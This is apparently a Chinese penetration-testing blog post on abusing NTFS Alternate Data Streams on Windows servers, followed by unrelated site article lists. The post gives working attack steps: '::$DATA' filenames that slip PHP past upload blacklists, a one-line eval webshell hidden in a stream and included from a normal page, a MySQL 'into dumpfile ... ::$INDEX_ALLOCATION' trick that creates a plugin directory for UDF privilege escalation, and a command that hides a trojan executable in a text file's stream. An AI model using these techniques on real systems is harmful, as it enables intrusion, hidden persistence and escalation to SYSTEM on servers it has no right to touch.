有关ADS的简单说明请看http://www.xfocus.net/articles/200212/466.html

可以看到ADS在很久以前就被一些安全人员所关注,并且也提出了一些经典的利用,比如隐藏文件,隐藏webshell(http://blog.csdn.net/lake2/article/details/269659),随着这次爆出来的IIS的权限绕过,我们再次测试了一下ADS在渗透中的利用方法,并发现了一些比较有意思的现象。这里主要给大家分享几个利用方法,大家可以发散思维,想办法把ADS利用起来。

1.   经典的IIS 目录访问权限绕过:

详见:http://www.exploit-db.com/exploits/19033/

注:这里的权限是NTFS目录属性的权限,并非说是后台直接绕过。别误会。

2.   Bypass 黑名单验证

在测试中我们发现,如果上传的文件名字为:test.php::$DATA,会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析。假设我们需要上传的文件内容为:<?php phpinfo();?>下面是上传是会出现的现象:

上传的文件名 服务器表面现象 生成的文件内容
Test.php:a.jpg 生成Test.php
Test.php::$DATA 生成test.php <?php phpinfo();?>
Test.php::$INDEX_ALLOCATION 生成test.php文件夹  
Test.php::$DATA\0.jpg 生成0.jpg <?php phpinfo();?>
Test.php::$DATA\aaa.jpg 生成aaa.jpg <?php phpinfo();?>

PS: 上传test.php:a.jpg的时候其实是在服务器上正常生成了一个数据流文件,可以通过notepad test.php:a.jpg查看内容,而test.php为空也是正常的。

根据第二个现象,我们可以bypass一些黑名单验证。

后面我加\0测试的时候是想截断后面的东西,但是发现windows会无视”/””\”这两个符号前面的东西,只识别这俩符号后的字符串。

3.   在隐藏webshell中的利用:

方法:在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞: echo ^<?php @eval(request[cmd])?^>  > index.php:hidden.jpg

这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。我们可以在另外一个正常文件里把这个ADS文件include进去,<?php include(‘index.php:hidden.jpg’)?>,这样子就可以正常解析我们的一句话了。

4.   UDF提权中的利用

不详细介绍udf提权了 具体可以参考:《udf提权方法和出现问题汇总

UDF提权tips:如果数据库用户对数据库mysql(注意指的是数据库里的默认库mysql)具有insert和delete权限,就可以创建加载自定义函数。而又由于mysql是以system权限运行在windows主机上,所以这个时候我们就可以通过自定义函数以system权限执行命令了。

Mysql 5.1以上(现在都5.6版本了,估计老版的不常见了。),在加载自定义函数的DLL时,要求目录必须是mysql目录下的lib\plugin\目录。直接导入C:\windows\system32这种目录是加载不了dll的,也就没办法creat function。但是可悲的是mysql 5.1之后的版本在安装的时候是默认不存在lib\plugin目录的,除非你安装的是完整版(官方的那种200多M的)。

还有一些情况,比如:你获取webshell了,但是webshell权限被限制的很死,根本没办法新建lib\plugin目录,或者你根本就没有webshell,只有一个Mysql的弱口令。91ri.org在以前估计就是只有放弃了,但是利用ADS我们则可以bypass掉这个限制。下面是一个demo
(1) 查找mysqlplugin目录:

但是我们可以发现其实服务器并没有那个目录:

(2) 尝试直接将dll导进去,

为了方便演示,我们随便导入一个txt,具体怎么通过unhex 和into dumpfile函数在mysql里导入dll,请看文章:

http://blog.sina.com.cn/s/blog_6ca7b58101013kt4.html

目录不存在,肯定导不进去。

(3) 利用ADS突破限制建立目录

执行的命令是:

 
 
 
 
 

Default

 
1
2
3
4
5
mysql&gt; select 'It is dll' into dumpfile 'C:\\Program Files (x86)\\MySQL\\MySQL S
 
erver 5.1\\lib::$INDEX_ALLOCATION';
 
ERROR 3 (HY000): Error writing file 'C:\Program Files (x86)\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION' (Errcode: 22)

发现继续爆出错误,但是回到服务器的目录上:

同样的方法,新建一个plugin目录

再往下就好办了,跟其他udf提权一个样。

5.   利用ADS隐藏木马

隐藏好办,直接在cmd里面执行命令: type muma.ext test.txt:muma.exe

这样就把木马写进test.txt的数据流里了。但是想运行的话还得借助其他工具,winrar就是一个,具体方法百度百科里都有,但是百科里的别信,成功不了,需要用type命令才能将二进制可执行文件写进去的。

Winrar的自解压木马我还是觉得不靠谱,毕竟后缀是exe,如果目标连这个都确定不了,那还不如直接发muma.exe。所以这个利用我也没怎么研究了。

注:数据流中如果是可执行文件,用start命令调用时,需要在win xp 和2003环境下,win7下失败。

6.   补充:

各位黑阔可以发挥自己的想象,利用ADS说不定可以Bypass当前大部分的上传验证哦~~如果各位发现什么好玩的,还请多多赐教~

最新文章

  1. 面试问题2:给一个5G的大文件,保存的数据为32位的整型,找到所有出现次数超过两次的数字
  2. 要慎用mysql的enum字段的原因
  3. Service Broker应用(2):不同server间的数据传输,包含集群
  4. JQuery -- this 和 $(this) 的区别
  5. PC远程调试移动设备
  6. linux 无法解压过大文件解决
  7. 移动web开发总结
  8. Java对象序列化入门
  9. 遍历指定包名下所有的类(支持jar)(转)
  10. 【NO.3】 c program to caculate and display sum of two matrix
  11. boost锁的使用
  12. DevOps时代,企业数字化转型需要强大的工具链
  13. MySQL之表相关操作
  14. MybatisPlus使用介绍
  15. NOIP2013题解
  16. Rotate Image 旋转图像
  17. jmeter 4.0版本更新说明(个人做个记录)总版本更新合集
  18. Could not initialize plugin: interface org.mockito.plugins.MockMaker
  19. iOS :ViewDidAppear
  20. Ubuntu16.04安装vmware workstation14

热门文章

  1. 【leetcode 简单】 第八题 删除排序数组中的重复项
  2. typeof运算符
  3. 可怕的npm蠕虫
  4. .NET Framework 4安装失败
  5. Java访问http用户验证
  6. poj 1077(BFS预处理+康托展开)
  7. XSS与CSRF两种跨站攻击总结
  8. 简易web server之python实现
  9. ros nodelet 使用
  10. Mariadb 10.2中的json使用及应用场景思考